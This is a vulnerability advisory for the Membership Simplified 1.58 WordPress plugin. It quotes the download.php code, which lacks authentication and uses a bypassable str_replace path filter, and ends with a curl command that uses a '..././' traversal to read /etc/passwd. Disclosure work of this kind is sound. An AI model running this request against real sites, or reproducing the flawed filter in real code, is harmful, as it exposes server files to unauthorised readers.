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WordPress Membership Simplified 1.58 Arbitrary File Download

WordPress Membership Simplified 1.58 Arbitrary File Download
Posted Mar 16, 2017
Authored by Larry W. Cashdollar

WordPress Membership Simplified plugin version 1.58 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary, info disclosure
SHA-256 | 49f3d2d3c61b472f332fbd1106c4ce7e59776bbb9ab0b8bb84d33daeedbd57c3

WordPress Membership Simplified 1.58 Arbitrary File Download

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Title: Arbitrary file download vulnerability in Wordpress Plugin Membership Simplified v1.58
Author: Larry W. Cashdollar, @_larry0
Date: 2017-03-13
CVE-ID:[CVE-2017-1002008]
Download Site: https://wordpress.org/plugins/membership-simplified-for-oap-members-only
Vendor: https://profiles.wordpress.org/williamdeangelis/
Vendor Notified: 2017-03-13
Vendor Contact: plugins@wordpress.org
Advisory: http://www.vapidlabs.com/advisory.php?v=187
Description: Membership Simplified allows you to generate membership lessons with templated content to create a unified look and feel throughout your courses.
Vulnerability:
The file download code located membership-simplified-for-oap-members-only/download.php does not check whether a user is logged in and has download privledges, the code on line 5 that checks the path can be defeated by using a ..././ pattern to get the desired ../ after being passed through the str_replace() function:

3 $path = substr(getcwd(), 0, -50). "uploads/membership-simplified-for-oap-members-only/"; // change the path to fit your websites document structure
4 $fullPath = $path.$_GET['download_file'];
5 $fullPath = str_replace("../","",$fullPath);
6
7 if ($fd = fopen($fullPath, "r")) {
8 $fsize = filesize($fullPath);
9 $path_parts = pathinfo($fullPath);
10 $ext = strtolower($path_parts["extension"]);
11 switch ($ext) {
12 case "pdf":
13 header("Content-type: application/pdf"); // add here more headers for d iff. extensions
14 header("Content-Disposition: attachment; filename=\"".$path_parts["base name"]."\""); // use 'attachment' to force a download
15 break;
16 default;
17 header("Content-type: application/octet-stream");
18 header("Content-Disposition: filename=\"".$path_parts["basename"]."\"") ;
19 }
20 header("Content-length: $fsize");
21 header("Cache-control: private"); //use this to open files directly
22 while(!feof($fd)) {
23 $buffer = fread($fd, 2048);
24 echo $buffer;

Export: JSON TEXT XML
Exploit Code:
aC/ $ curl http://example.com/wordpress/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=..././..././..././..././..././..././..././..././etc/passwd
aC/
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